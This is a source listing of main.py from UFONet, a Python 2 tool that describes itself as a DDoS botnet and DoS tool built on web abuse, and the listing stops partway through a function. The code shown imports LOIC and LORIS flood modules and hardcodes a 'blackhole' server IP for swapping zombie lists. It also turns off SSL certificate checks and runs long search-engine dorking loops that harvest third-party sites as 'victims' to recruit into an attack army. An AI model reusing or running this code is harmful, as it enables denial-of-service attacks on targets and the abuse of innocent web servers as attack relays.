main.py 147 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import os, sys, re, traceback, random, time, threading, base64, socket, httplib, ssl, string
  10. import StringIO, urllib, urllib2, cgi, json
  11. from urlparse import urlparse
  12. from random import randrange, shuffle
  13. from options import UFONetOptions
  14. from update import Updater
  15. from herd import Herd
  16. from zombie import Zombie
  17. from doll import Doll
  18. from inspector import Inspector
  19. from abductor import Abductor
  20. from loic import LOIC
  21. from loris import LORIS
  22. DEBUG = 0
  23. class UFONet(object):
  24. def __init__(self):
  25. self.blackhole = '176.28.23.46' # default download/upload zombies 'blackhole'
  26. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  27. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  28. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve 'zombies'
  29. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve 'aliens'
  30. self.droids_file = 'botnet/droids.txt' # set source path to retrieve 'droids'
  31. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  32. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  33. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  34. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve 'dorks'
  35. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  36. self.referer = 'http://127.0.0.1/'
  37. self.head = False
  38. self.payload = False
  39. self.external = False
  40. self.attack_mode = False
  41. self.retries = ''
  42. self.delay = ''
  43. self.connection_failed = False
  44. self.total_possible_zombies = 0
  45. self.herd = Herd(self)
  46. self.sem = False
  47. self.port = "8080" # default UFONet injection port
  48. self.db_flash = 0 # db stress counter
  49. self.total_aliens = 0
  50. self.aliens_hit = 0
  51. self.aliens_fail = 0
  52. self.total_droids = 0
  53. self.droids_hit = 0
  54. self.droids_fail = 0
  55. self.total_ucavs = 0
  56. self.ucavs_hit = 0
  57. self.ucavs_fail = 0
  58. self.total_rpcs = 0
  59. self.rpcs_hit = 0
  60. self.rpcs_fail = 0
  61. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  62. self.ctx.check_hostname = False
  63. self.ctx.verify_mode = ssl.CERT_NONE
  64. self.nat_error_flag = "OFF"
  65. self.trans_zombies = 0
  66. self.scanned_zombies = 0
  67. def create_options(self, args=None):
  68. self.optionParser = UFONetOptions()
  69. self.options = self.optionParser.get_options(args)
  70. if not self.options:
  71. return False
  72. return self.options
  73. def banner_welcome(self):
  74. print " 0===============================================0"
  75. print " '' '----' '' || ||"
  76. print " .'_.- ( ) -._'. || * Botnet -> DDoS: ||"
  77. print " .'.' |'..'| '.'. || ||"
  78. print " .-. .' /'--.__|____|__.--'\ '. .-. || -Zombies : HTTP GET bots ||"
  79. print " (O).)-| | \ * | |* / | |-(.(O) || -Droids : HTTP GET (+params) bots ||"
  80. print " `-' '-'-._'-./ \.-'_.-'-' `-' || -Aliens : HTTP POST bots ||"
  81. print " _ | | '-.________.-' | | _ || -UCAVs : Web Abusing bots ||"
  82. print " .' _ | | | __ | | | _ '. || -X-RPCs : XML-RPC bots ||"
  83. print " / .' ''.| | /____\ | |.'' '. \ || ||"
  84. print " | |( )| '. ||_____ || .' |( )| | || * Close Combat -> DoS: ||"
  85. print " \ '._.' '. | \____/ | .' '._.' / || ||"
  86. print " '.__ ______'.|__'--'__|.'______ __.' || -LOIC : Fast HTTP requests ||"
  87. print " .'_.-| |-._'. || -LORIS : Slow HTTP requests ||"
  88. print " || ||"
  89. print " * Class: UFONet - ViPR404 (model B)- || * Featured: Crawler, +CVE, +WAF detection ||"
  90. print " * Type: /Scout/Transporter/Warfare/ || ||"
  91. print " 0|=============================================|0"
  92. print ""
  93. def banner(self):
  94. print '='*75, "\n"
  95. print "888 888 8888888888 .d88888b. 888b 888 888 "
  96. print "888 888 888 d88P Y888b 8888b 888 888 "
  97. print "888 888 888 888 888 88888b 888 888 "
  98. print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 "
  99. print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 "
  100. print "888 888 888 888 888 888 Y88888 88888888 888 "
  101. print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. "
  102. print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888"
  103. print self.optionParser.description, "\n"
  104. print '='*75
  105. def try_running(self, func, error, args=None):
  106. options = self.options
  107. args = args or []
  108. try:
  109. return func(*args)
  110. except Exception as e:
  111. print(error, "error")
  112. if DEBUG:
  113. traceback.print_exc()
  114. def start_ship_engine(self):
  115. self.agents = [] # generating available user-agents
  116. f = open(self.agents_file)
  117. agents = f.readlines()
  118. f.close()
  119. for agent in agents:
  120. self.agents.append(agent)
  121. self.user_agent = random.choice(self.agents).strip()
  122. self.search_engines = [] # available dorking search engines
  123. self.search_engines.append('bing') # [03/02/2018: OK!]
  124. self.search_engines.append('yahoo') # [03/02/2018: OK!]
  125. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  126. #self.search_engines.append('duck') [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  127. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  128. if not os.path.exists("core/json/"): # create gui json cfg files folder
  129. os.mkdir("core/json/")
  130. self.banner_welcome()
  131. self.update_flying_stats() # update flying time stats
  132. chargo = self.check_mothership_chargo() # check mothership chargo
  133. self.update_max_chargo(int(chargo)) # update max chargo stats
  134. def run(self, opts=None):
  135. if opts:
  136. self.create_options(opts)
  137. options = self.options
  138. # start threads
  139. if not self.options.threads:
  140. self.options.threads=5 # default number of threads
  141. self.sem = threading.Semaphore(self.options.threads)
  142. # start ship engine
  143. self.start_ship_engine()
  144. # check proxy options
  145. proxy = options.proxy
  146. if options.proxy:
  147. try:
  148. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  149. m = re.search(pattern, proxy)
  150. if m is None:
  151. self.banner()
  152. print ("\n[Error] - Proxy malformed!\n")
  153. return #sys.exit(2)
  154. except Exception:
  155. self.banner()
  156. print ("\n[Error] - Proxy malformed!\n")
  157. return #sys.exit(2)
  158. # check tor connection
  159. if options.checktor:
  160. url = 'https://check.torproject.org' # TOR status checking site
  161. self.banner()
  162. print "\nSending request to: " + url + "\n"
  163. self.user_agent = random.choice(self.agents).strip() # suffle user-agent
  164. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  165. try:
  166. if options.proxy: # set proxy
  167. self.proxy_transport(options.proxy)
  168. req = urllib2.Request(url, None, headers)
  169. tor_reply = urllib2.urlopen(req).read()
  170. else:
  171. req = urllib2.Request(url, None, headers)
  172. tor_reply = urllib2.urlopen(req, context=self.ctx).read()
  173. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  174. if not tor_reply or 'Congratulations' not in tor_reply:
  175. print("It seems that Tor is not properly set.\n")
  176. print("Your IP address appears to be: " + your_ip + "\n")
  177. else:
  178. print("Congratulations!. Tor is properly being used :-)\n")
  179. print("Your IP address appears to be: " + your_ip + "\n")
  180. except:
  181. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  182. sys.exit(2) # return
  183. # run AES256+HMAC-SHA1 enc/dec tool
  184. if options.cryptomsg:
  185. from server.crypter import Cipher
  186. from base64 import b64encode, b64decode
  187. print " "
  188. print " ____...------------...____ "
  189. print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ "
  190. print " .' / / \ \ '. "
  191. print " |=====/o/======================\o\=====| "
  192. print " |____/_/________..____..________\_\____| "
  193. print " / _/ \_ <_o#\__/#o_> _/ \_ \ "
  194. print " \__/_____\####/__________/####/_____\__/ "
  195. print " |===\!/========================\!/===| "
  196. print " | |=| .---. |=| | "
  197. print " |===|o|=========/ \========|o|===| "
  198. print " | | | \() ()/ | | | "
  199. print " |===|o|======{'-.) A (.-'}=====|o|===| "
  200. print " | __/ \__ '-.\uuu/.-' __/ \__ | "
  201. print " |==== .'.'^'.'.====|====.'.'^'.'.====| "
  202. print " | _\o/ __ {.' __ '.} _ _\o/ _| "
  203. print " '''''''''''''''''''''''''''''''''''''' "
  204. print "\nUFONet Crypter (AES256+HMAC-SHA1)\n"
  205. print " -> (140 plain text chars = 69 encrypted chars)\n"
  206. text = str(raw_input("- Enter text: "))
  207. input_key = str(raw_input("- Enter key: "))
  208. key = b64encode(input_key)
  209. c = Cipher(key, text)
  210. msg = c.encrypt()
  211. c.set_text(msg)
  212. print '\n-> Ciphertext: [', msg, ']'
  213. print '\nLength:', len(msg)
  214. print '\n-> Key (share it using SNEAKNET!):', input_key
  215. print '\nDecryption PoC:', c.decrypt(), "\n"
  216. # search for 'zombies' on search engines results (dorking)
  217. if options.search:
  218. zombies = []
  219. if options.engine:
  220. engine = options.engine
  221. else:
  222. engine = "yahoo" # default search engine
  223. try:
  224. self.banner()
  225. if not os.path.exists(self.humans_file) == True:
  226. f = open(self.humans_file, 'w')
  227. f.close()
  228. lf = open(self.humans_file, 'r')
  229. restored = lf.readlines()
  230. zombies_restored = len(restored)
  231. lf.close()
  232. lz = open(self.zombies_file, 'r')
  233. zombies_army = lz.readlines()
  234. for zombie in zombies_army:
  235. zombies.append(zombie) # add zombies from army to the zombies pool
  236. lz.close()
  237. if len(restored) > 0:
  238. print "\n[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  239. if not self.options.forceyes:
  240. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  241. print '-'*25
  242. else:
  243. backup_reply = "Y"
  244. if backup_reply == "n" or backup_reply == "N":
  245. print "\n[Info] Removing data stored and starting a new search...\n"
  246. os.remove(self.humans_file)
  247. zombies_restored = 0 # flush zombies restored
  248. print '-'*25 + "\n"
  249. else:
  250. print "\n[Info] Restoring data and starting a new search...\n"
  251. print '-'*25 + "\n"
  252. for zombie in restored:
  253. zombies.append(zombie) # add previous data to zombies pool
  254. if options.allengines:
  255. for e in self.search_engines:
  256. engine = e
  257. print '='*44
  258. print("\nSearching for zombies (with AI mode) using: "+engine+'\n')
  259. print '='*44 + '\n'
  260. self.options.engine = engine
  261. try:
  262. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  263. if zombies_chain != None:
  264. for zombie in zombies_chain:
  265. if zombie not in zombies: # evade possible repetitions
  266. zombies.append(zombie)
  267. except:
  268. if zombies: # backup all new zombies found to file in case of exception
  269. for zombie in zombies:
  270. if zombie+os.linesep not in restored: # only append new zombies found
  271. with open(self.humans_file, "a") as f:
  272. f.write(str(zombie+os.linesep))
  273. else:
  274. if restored:
  275. print '='*44
  276. print("\nSearching for zombies (with AI mode) using: "+engine+"\n")
  277. print '='*44 + '\n'
  278. if restored: # from restored file
  279. try:
  280. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  281. if zombies_chain != None:
  282. for zombie in zombies_chain:
  283. if zombie not in zombies: # evade possible repetitions
  284. zombies.append(zombie)
  285. except:
  286. if zombies: # backup all new zombies found to file in case of exception
  287. for zombie in zombies:
  288. if zombie+os.linesep not in restored: # only append new zombies found
  289. with open(self.humans_file, "a") as f:
  290. f.write(str(zombie+os.linesep))
  291. else:
  292. try:
  293. zombies = self.search_zombies(dork='', zombies_found=zombies)
  294. except:
  295. if zombies: # backup all new zombies found to file in case of exception
  296. for zombie in zombies:
  297. if zombie+os.linesep not in restored: # only append new zombies found
  298. with open(self.humans_file, "a") as f:
  299. f.write(str(zombie+os.linesep))
  300. total_restored = zombies_restored
  301. new_zombies = 0 # new zombies counter
  302. f = open(self.zombies_file, 'r')
  303. zz = f.readlines()
  304. f.close()
  305. zombies_found = []
  306. for z in zombies:
  307. if z.endswith(os.linesep):
  308. z = z.replace(os.linesep, "")
  309. if z not in zz and z+os.linesep not in zz:
  310. new_zombies = new_zombies + 1
  311. zombies_found.append(z)
  312. print '='*62
  313. print "\n- Victims found:", len(zombies_found), "\n"
  314. print " - Restored:", total_restored
  315. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  316. print '-'*32
  317. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  318. print '='*62 + '\n'
  319. if len(zombies) > 0:
  320. if not self.options.forceyes:
  321. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  322. print '-'*25
  323. else:
  324. check_backup_reply = "Y"
  325. if check_backup_reply == "n" or check_backup_reply == "N":
  326. if os.path.isfile(self.humans_file):
  327. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  328. print "\n[Info] Temporal data correctly removed...\n"
  329. else:
  330. with open(self.humans_file, "w") as f:
  331. for z in zombies_found:
  332. if z.endswith(os.linesep):
  333. z = z.replace(os.linesep, "")
  334. if z not in zz or z+os.linesep not in zz:
  335. f.write(z+os.linesep)
  336. f.close()
  337. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  338. print '-'*25 + "\n"
  339. if new_zombies and new_zombies > 0:
  340. if not self.options.forceyes:
  341. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  342. print '-'*25 + "\n"
  343. else:
  344. check_url_link_reply = "Y"
  345. if check_url_link_reply == "n" or check_url_link_reply == "N":
  346. print "Bye!\n"
  347. pass
  348. else:
  349. print "\n" + '='*44
  350. test = self.testing(zombies_found)
  351. else:
  352. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  353. except Exception:
  354. print ("\n[Error] - Something wrong searching using: "+engine+"\n")
  355. # search for 'zombies' from a list of 'dorks'
  356. if options.dorks:
  357. if options.engine:
  358. engine = options.engine
  359. else:
  360. engine = "yahoo" # default search engine
  361. try:
  362. dorks = self.extract_dorks()
  363. if not dorks:
  364. return
  365. zombies = []
  366. self.banner()
  367. if not os.path.exists(self.humans_file) == True:
  368. f = open(self.humans_file, 'w')
  369. f.close()
  370. lf = open(self.humans_file, 'r')
  371. restored = lf.readlines()
  372. zombies_restored = len(restored)
  373. lf.close()
  374. lz = open(self.zombies_file, 'r')
  375. zombies_army = lz.readlines()
  376. for zombie in zombies_army:
  377. zombies.append(zombie) # add zombies from army to the zombies pool
  378. lz.close()
  379. if len(restored) > 0:
  380. print "\n[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  381. if not self.options.forceyes:
  382. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  383. print '-'*25
  384. else:
  385. backup_reply = "Y"
  386. if backup_reply == "n" or backup_reply == "N":
  387. print "\n[Info] Removing data stored and starting a new search...\n"
  388. os.remove(self.humans_file)
  389. zombies_restored = 0 # flush zombies restored
  390. print '-'*25 + "\n"
  391. else:
  392. print "\n[Info] Restoring data and starting a new search...\n"
  393. print '-'*25 + "\n"
  394. for zombie in restored:
  395. zombies.append(zombie) # add previous data to zombies pool
  396. total_restored = zombies_restored
  397. if options.allengines:
  398. for e in self.search_engines:
  399. engine = e
  400. print '='*44
  401. print("\nSearching for zombies (with AI mode) using: "+engine+ " [from a list of 'dorks']\n")
  402. print '='*44 + '\n'
  403. self.options.engine = engine
  404. for dork in dorks:
  405. print '='*22
  406. print "Dork:", dork
  407. print '='*22 + '\n'
  408. try:
  409. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  410. for zombie in dorked_zombies:
  411. if zombie not in zombies: # evade repetitions for zombies found
  412. zombies.append(zombie)
  413. if zombie+os.linesep not in restored: # only append new zombies found
  414. with open(self.humans_file, "a") as f:
  415. f.write(str(zombie+os.linesep))
  416. f.close()
  417. except:
  418. if zombies: # backup new zombies found on exception
  419. for zombie in zombies:
  420. if zombie+os.linesep not in restored: # only append new zombies found
  421. with open(self.humans_file, "a") as f:
  422. f.write(str(zombie+os.linesep))
  423. f.close()
  424. else:
  425. if restored:
  426. print '='*44
  427. print("\nSearching for zombies (with AI mode) using: "+engine+ " [from a list of 'dorks']\n")
  428. print '='*44 + '\n'
  429. for dork in dorks:
  430. print '='*22
  431. print "Dork:", dork
  432. print '='*22 + '\n'
  433. try:
  434. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  435. if dorked_zombies != None:
  436. for zombie in dorked_zombies:
  437. if zombie not in zombies: # evade repetitions for zombies found
  438. zombies.append(zombie)
  439. except:
  440. if zombies: # backup new zombies found on exception
  441. for zombie in zombies:
  442. if zombie+os.linesep not in restored: # only append new zombies found
  443. with open(self.humans_file, "a") as f:
  444. f.write(str(zombie+os.linesep))
  445. f.close()
  446. new_zombies = 0 # new zombies counter
  447. f = open(self.zombies_file, 'r')
  448. zz = f.readlines()
  449. f.close()
  450. zombies_found = []
  451. for z in zombies:
  452. if z.endswith(os.linesep):
  453. z = z.replace(os.linesep, "")
  454. if z not in zz and z+os.linesep not in zz:
  455. new_zombies = new_zombies + 1
  456. zombies_found.append(z)
  457. print '='*62
  458. print "\n- Victims found:", len(zombies_found), "\n"
  459. print " - Restored:", total_restored
  460. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  461. print '-'*32
  462. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  463. print '='*62 + '\n'
  464. if len(zombies_found) > 0:
  465. if not self.options.forceyes:
  466. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  467. print '-'*25
  468. else:
  469. check_backup_reply = "Y"
  470. if check_backup_reply == "n" or check_backup_reply == "N":
  471. if os.path.isfile(self.humans_file):
  472. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  473. print "\n[Info] Temporal data correctly removed...\n"
  474. else:
  475. with open(self.humans_file, "w") as f:
  476. for z in zombies_found:
  477. if z.endswith(os.linesep):
  478. z = z.replace(os.linesep, "")
  479. if z not in zz or z+os.linesep not in zz:
  480. f.write(z+os.linesep)
  481. f.close()
  482. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  483. print '-'*25 + "\n"
  484. if new_zombies and new_zombies > 0:
  485. if not self.options.forceyes:
  486. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  487. print '-'*25 + "\n"
  488. else:
  489. check_url_link_reply = "Y"
  490. if check_url_link_reply == "n" or check_url_link_reply == "N":
  491. print "Bye!\n"
  492. pass
  493. else:
  494. print "\n" + '='*44
  495. test = self.testing(zombies_found)
  496. else:
  497. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  498. except Exception:
  499. print ("\n[Error] - Something wrong searching using: "+engine+"\n")
  500. # auto-search for 'zombies' (dorks+all_engines+time -> to discover max new zombies)
  501. if options.autosearch:
  502. try:
  503. dorks = self.extract_dorks()
  504. except:
  505. print "\n[Info] Not any dork present at: 'botnet/dorks.txt'. Aborting!\n"
  506. return
  507. engines_list = self.search_engines
  508. stop_flag = False # use a flag to establish an end
  509. try:
  510. self.banner()
  511. print "\nSearching automatically for 'zombies' (WARNING: this may take several time!)\n"
  512. print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n"
  513. print '-'*25 + "\n"
  514. zombies_found = []
  515. lz = open(self.zombies_file, 'r')
  516. zombies_army = lz.readlines()
  517. for zombie in zombies_army:
  518. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  519. lz.close()
  520. if not os.path.exists(self.humans_file) == True:
  521. f = open(self.humans_file, 'w')
  522. f.close()
  523. lf = open(self.humans_file, 'r')
  524. restored = lf.readlines()
  525. zombies_restored = len(restored)
  526. lf.close()
  527. if len(restored) > 0:
  528. print "[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  529. if not self.options.forceyes:
  530. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  531. print '-'*25
  532. else:
  533. backup_reply = "Y"
  534. if backup_reply == "n" or backup_reply == "N":
  535. print "\n[Info] Removing data stored and starting a new (auto)search...\n"
  536. os.remove(self.humans_file)
  537. zombies_restored = 0 # flush zombies restored
  538. print '-'*25 + "\n"
  539. else:
  540. print "\n[Info] Restoring data and starting a new (auto)search...\n"
  541. print '-'*25 + "\n"
  542. for zombie in restored:
  543. zombies_found.append(zombie) # add previous data to zombies found pool
  544. total_restored = zombies_restored
  545. while stop_flag == False:
  546. if not os.path.exists(self.humans_file) == True:
  547. f = open(self.humans_file, 'w')
  548. f.close()
  549. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  550. restored = lf.readlines()
  551. lf.close()
  552. zombies_restored = len(restored)
  553. for e in engines_list:
  554. zombies_counter = 0 # use it also as (engine) flag
  555. engine = e
  556. self.options.engine = engine
  557. print '='*44 + '\n'
  558. print("Searching for zombies (with AI mode) using: "+engine+'\n')
  559. print '='*44 + '\n'
  560. for dork in dorks:
  561. print '='*22
  562. print "Dork:", dork
  563. print '='*22 + '\n'
  564. try:
  565. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  566. for zombie in dorked_zombies:
  567. if zombie not in zombies_found: # evade repetitions for zombies found
  568. zombies_found.append(zombie)
  569. if zombie+os.linesep not in restored: # only append new zombies found
  570. with open(self.humans_file, "a") as f:
  571. f.write(str(zombie+os.linesep))
  572. f.close()
  573. zombies_counter = zombies_counter + 1
  574. except:
  575. if zombies_found: # backup new zombies found on exception
  576. for zombie in zombies_found:
  577. if zombie+os.linesep not in restored: # only append new zombies found
  578. with open(self.humans_file, "a") as f:
  579. f.write(str(zombie+os.linesep))
  580. f.close()
  581. if zombies_counter == 0:
  582. print "[Info] - NOT more NEW victims found (by the moment) using: "+engine+"... Let's remove it from queue!\n"
  583. print '-'*25 + "\n"
  584. engines_list.remove(engine) # remove not more results engine from search engines list
  585. if not engines_list: # if search engines empty, call return-exit routine
  586. print "[Info] - Search engines aren't providing more results... Exiting! ;-)\n"
  587. print '-'*25 + "\n"
  588. stop_flag = True # exit flag up
  589. new_zombies = 0 # new zombies counter
  590. f = open(self.zombies_file, 'r')
  591. zz = f.readlines()
  592. f.close()
  593. all_zombies_found = []
